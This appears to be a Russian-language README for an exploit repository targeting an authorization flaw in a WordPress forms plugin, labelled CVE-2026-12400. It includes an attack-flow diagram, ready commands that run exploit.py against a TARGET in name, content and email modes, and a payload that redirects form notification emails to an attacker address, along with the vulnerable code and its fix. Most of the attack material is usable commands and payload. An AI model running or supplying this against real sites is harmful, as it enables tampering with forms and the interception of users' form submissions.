POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

// Обновление содержимого / имени формы
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Обновление настроек формы (email-уведомления, макет и т.д.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Аутентификация как Contributor
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Получение REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Перебор опубликованных форм
        │<─ HTTP 200 ───────────────────────│      (любая доступная форма — цель)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) Перезапись имени / содержимого формы
        │       with attacker payload ─────>│       ← нет проверки владельца
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) Перехват email-уведомлений
        │       /settings ─────────────────>│       ← атакующий получает все
        │<─ { "success": true } ────────────│         будущие отправки форм
        │                                   │
        │   Все 3 вектора атаки подтверждены│  (5) Имя ✔  Содержимое ✔  Email ✔

git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

# Top of exploit.py

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← измените это
                    ...
                }
            }
        }
    }
}""")

// УЯЗВИМО — обе конечные точки
'permission_callback' => fn() => current_user_can('edit_posts'),

// БЕЗОПАСНО (исправлено)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # Отшлифованный эксплойт с красивым интерфейсом (3 режима)
├── requirements.txt            # Зависимости Python
└── README.md                   # Этот файл